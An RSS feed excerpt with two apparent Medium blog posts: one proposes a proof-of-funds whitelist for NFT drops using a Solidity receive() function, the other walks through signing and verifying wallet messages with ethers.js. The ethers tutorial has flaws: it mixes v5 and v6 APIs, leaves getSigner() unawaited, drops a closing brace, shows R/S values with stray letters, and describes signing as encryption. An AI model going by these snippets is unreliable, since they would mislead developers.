            <guid isPermaLink="false">https://medium.com/p/d1f5d08943fe</guid>
            <category><![CDATA[whitelist]]></category>
            <category><![CDATA[erc721]]></category>
            <category><![CDATA[nft]]></category>
            <dc:creator><![CDATA[Jason Schwarz]]></dc:creator>
            <pubDate>Tue, 18 Jun 2024 22:40:47 GMT</pubDate>
            <atom:updated>2024-06-28T12:04:13.832Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JImqfDsAtMvQARGVTv1jHA.png" /></figure><p>How often have you curated a whitelist based on partners and community members, only to find the user count far exceeds the total supply of your upcoming drop? You might assume this guarantees a quick sell-out. However, this is frequently not the case.</p><h3>Problem</h3><p>When the entry barrier is as low as simple social participation, you open the door for users who register without genuine intention or financial ability to purchase the token. This can lead to over-subscription and complex management issues. Moreover, if the drop does not sell out, you’re left wondering how this happened despite having what seemed like an ample number of interested users ready to mint.</p><h3>Solution</h3><p>Offering a whitelist mint exclusively to users who can prove they have the necessary funds provides several strategic and practical advantages. This ensures that only users who are genuinely interested and financially capable of purchasing the tokens secure a place on the whitelist. Such an approach fosters a more engaged and committed community. Additionally, users who demonstrate financial readiness are more likely to complete their purchases, thereby maximizing your overall whitelist conversion rate.</p><h3>Example Implementation</h3><p>Consider a receive method in a smart contract used for handling the whitelist process. In this scenario, users can self-whitelist by sending Ethereum to the contract. This example includes error handling to verify that self-whitelisting is enabled, the caller is not blacklisted, and the amount of Ether sent is correct. Upon validation, the user&#39;s address is added to the whitelist, and their funds are returned. This approach was inspired by <a href="https://github.com/code-423n4/2024-06-vultisig/blob/main/hardhat-vultisig/contracts/Whitelist.sol#L65">Vultisig</a>.</p><p><strong><em>This is only a conceptual example. Do not use this code in production as it has not been audited.</em></strong></p><pre><br>receive() external payable {<br>    if (_isSelfWhitelistDisabled) {<br>        revert SelfWhitelistDisabled();<br>    }<br>    if (_isBlacklisted[_msgSender()]) {<br>        revert Blacklisted();<br>    }<br>    if (msg.value != MINT_PRICE) {<br>        revert InsufficientFunds();<br>    }<br>    _addWhitelistedAddress(_msgSender());<br>    payable(_msgSender()).transfer(msg.value);<br>}</pre><h3>Alternative Implementation Methods</h3><ul><li><strong>Pre-Signed Transactions:</strong> Users might be required to sign a transaction demonstrating they have the funds available.</li><li><strong>Staking Mechanisms:</strong> Users may need to stake a certain amount of cryptocurrency to get whitelisted, which can be refunded later.</li></ul><h3>Further Discussion</h3><p>Although this article focused on NFTs, the approach of requiring proof of funds for whitelist minting is also valuable for ERC20 tokens, offering numerous advantages beyond the immediate context.</p><ul><li><strong>Enhancing Fairness and Accessibility:</strong> By requiring proof of funds, we create a level playing field where only those with verified financial capability can participate. This ensures a more equitable distribution process and helps avoid bots and fake accounts that might otherwise exploit the system.</li><li><strong>Streamlining the Process:</strong> Proof of funds simplifies logistics and ensures that participants can immediately fund their purchases. This efficient allocation makes the token distribution process smoother and helps in managing initial token supply dynamics, contributing to price stability.</li><li><strong>Enhancing Security and Compliance:</strong> Implementing proof of funds can assist in meeting Anti-Money Laundering (AML) compliance requirements by adding a verification layer. It also mitigates the risk of fraud by ensuring that participants use legitimate and traceable funds.</li></ul><h3>Your Thoughts</h3><p>What are your thoughts on requiring proof of funds for whitelisting? Can this approach enhance the credibility, fairness, and efficiency of a project?</p><p>I’d love to hear your insights! Share your opinions, and let’s continue the conversation in the next article.</p><p><strong>Connect with me on social media:</strong></p><ul><li><a href="https://x.com/passandscore">X</a></li><li><a href="https://github.com/passandscore">GitHub</a></li><li><a href="https://www.linkedin.com/in/jason-schwarz-75b91482/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1f5d08943fe" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/managing-whitelist-overload-ensuring-effective-nft-drops-with-proof-of-funds-d1f5d08943fe">Managing Whitelist Overload: Ensuring Effective NFT drops with Proof of Funds</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to sign and verify messages with Ethers]]></title>
            <link>https://coinsbench.com/how-to-sign-and-verify-messages-with-ethers-5df43414d0d8?source=rss-48ad9fe56a0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5df43414d0d8</guid>
            <dc:creator><![CDATA[Jason Schwarz]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 11:36:25 GMT</pubDate>
            <atom:updated>2024-06-28T12:04:07.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJKkMjsiEThGOlyrEPEPuw.png" /></figure><p>Digital signatures play a crucial role in ensuring the security, authenticity, and authorization of various operations within a decentralized application. It’s important to know that the individual you are interacting with is indeed who they claim to be.</p><pre>const signMessage = async (message) =&gt; {<br>  try {<br>    if (connectedWallet) {<br>      const provider = new ethers.BrowserProvider(window.ethereum);<br>      const signer = provider.getSigner();<br>      const signature = await signer.signMessage(message);<br>      const address = await signer.getAddress();<br>      return {<br>        signature,<br>        address,<br>      };<br>    }<br>  } catch (err) {<br>    console.log(err);<br>  }<br>};</pre><p>When the signMessage method is called from the example above, it will first verify that your wallet is indeed connected to the decentralized application. It then creates a new provider instance using your connected wallet, accessing your signer details.</p><blockquote><em>A Signer in ethers is </em><strong><em>an abstraction of an Ethereum Account</em></strong><em>, which can be used to sign messages and transactions and send signed transactions to the Ethereum Network to execute state changing operations.</em></blockquote><p>Now that we are able to sign, we require something to sign. The message can be either a string or in the form of an Uint8Array and will be signed complying with the <a href="https://eips.ethereum.org/EIPS/eip-191">EIP-191 standard</a>. If the message is a string, it is signed as UTF-8 encoded bytes. It is not interpreted as as BytesLike; so the string 0x1234 is signed as six characters, not two bytes. To sign that example as two bytes, the Uint8Array should be used. (i.e. new Uint8Array([ 0x12, 0x34 ])).</p><p>Lets provide the message string, Don’t wish for it. Work for it</p><p>You’re going to be prompted by your connected wallet to review the message and by clicking sign, you’re using your private key to encrypt that hash digest/value, a.k.a the message, to create the digital signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*G5R0jV-fDYZFHxuN.png" /></figure><p>This action produces a signature like this.</p><p>0xee9198263e0fba336d9a9e66b76f2819066adeb65875319390ae01da0c323fff70ed95037af516c2076182a8f74cc88d9cef2a6e151cba13b1f395ca10f4dc071b</p><p>Decoded it looks like this (R, S, V) 👇</p><p>0xee9198263e0fba336d9a9e66b76f2819066adeb65875319390ae01da0c323fffs</p><p>0x70ed95037af516c2076182a8f74cc88d9cef2a6e151cba13b1f395ca10f4dc07v</p><p>27</p><p>I will spare you the deep dive on the what and how of R,S,V. For now it’s enough to understand that R &amp; S are encoded hashes related to your private key through the use of elliptic-curve cryptography and they cannot reveal the private key. V <strong>is added to the signature verification function to help detect the correct value of R </strong>as it can produce two possible generated values. If V <strong>is even, the R is the correct value.</strong></p><p>Congratulations! You have signed a message with your wallet. The decentralized application is now going to take that raw message and the digital signature to complete it’s verification process.</p><pre>const verifyMessage = async ({ message, address, signature }) =&gt; {<br>  try {<br>    const signerAddr = await ethers.utils.verifyMessage(message, signature);<br>    if (signerAddr !== address) {<br>      return false;<br>    }<br>    return true;<br>  } catch (err) {<br>    console.log(err);<br>    return false;<br>  }</pre><p>Behind the scenes when verifying the message it uses the secp256k1 elliptic-curve algorithm. It takes the message and the signature verification variables <strong><em>v, r, s,</em></strong> and returns an address. The returned address can then be compared against other addresses to complete the security, authenticity, or authorization process from within your decentralized application.</p><h4><a href="https://www.jasonschwarz.xyz/articles/message-signing-with-ethers#try-it-yourself">Try it yourself</a></h4><p>If you would like to try this out for yourself, you can use this tool I created to sign and verify messages. <a href="https://digital-signatures.jasonschwarz.xyz/">https://digital-signatures.jasonschwarz.xyz</a></p><h4><a href="https://www.jasonschwarz.xyz/articles/message-signing-with-ethers#why-sign-messages">Why sign messages?</a></h4><p>Here are some examples, thank you chatGPT, of when your signature would be required. They showcase the versatility of message signing in blockchain applications, providing a secure and verifiable way to interact with data and systems without necessarily involving financial transactions.</p><ol><li><strong>Authentication in DApps:</strong> Users signing messages to authenticate themselves within decentralized applications (DApps) without initiating a transaction.</li><li><strong>Digital Agreements:</strong> Signing messages to create or acknowledge digital agreements, contracts, or consent within a blockchain-based system.</li><li><strong>Proof of Ownership:</strong> Demonstrating ownership or authorship of digital assets, intellectual property, or content by signing a message.</li><li><strong>Credential Verification:</strong> Verifying credentials or qualifications by signing a message containing relevant information.</li><li><strong>Message Endorsement:</strong> Endorsing messages or content on social platforms or forums to confirm the authenticity of the endorsement.</li><li><strong>Non-Repudiation:</strong> Ensuring non-repudiation by signing messages, making it difficult for the signer to deny their involvement or agreement.</li><li><strong>Identity Verification:</strong> Verifying identity without the need for a transaction, often in scenarios like account recovery or access to secured information.</li><li><strong>Confirmation of Actions:</strong> Confirming specific actions or decisions without initiating a transaction, providing a digital trail of consent or authorization.</li><li><strong>Secure Communication:</strong> Signing messages in secure communication channels, ensuring the integrity and authenticity of the communicated information.</li><li><strong>Attestation of Data:</strong> Attesting to the accuracy or authenticity of data by signing a message containing relevant information.</li><li><strong>Acknowledgment of Receipt:</strong> Acknowledging the receipt of information, goods, or services without necessarily involving a transaction.</li><li><strong>Decentralized Governance:</strong> Participating in decentralized governance by signing messages to express voting preferences or decisions.</li><li><strong>Selective Disclosure of Information:</strong> Selectively disclosing certain information without revealing the entirety of one’s identity or data, using signed messages for privacy.</li><li><strong>Timestamping:</strong> Signing messages to create timestamps for events or data, ensuring a secure record of when certain actions occurred.</li><li><strong>Consent Confirmation:</strong> Confirming consent for specific actions or data sharing without engaging in a full-fledged transaction.</li></ol><h4><a href="https://www.jasonschwarz.xyz/articles/message-signing-with-ethers#conclusion">Conclusion</a></h4><p>As we reflect on the importance of digital signatures in the blockchain domain, we find compelling reasons to incorporate this cryptographic practice into our decentralized applications. It instills confidence in users, assuring them that their actions are authenticated and authorized with the utmost integrity.</p><p>In essence, the code, sign, secure paradigm becomes a guiding principle for DApp developers and users alike. The seamless integration of Ethers.js empowers us to navigate the decentralized frontier with confidence, fostering a trust-rich environment where digital signatures can serve as the guardians of authenticity and security.</p><p><strong>Connect with me on social media:</strong></p><ul><li><a href="https://x.com/passandscore">X</a></li><li><a href="https://github.com/passandscore">GitHub</a></li><li><a href="https://www.linkedin.com/in/jason-schwarz-75b91482/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5df43414d0d8" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/how-to-sign-and-verify-messages-with-ethers-5df43414d0d8">How to sign and verify messages with Ethers</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>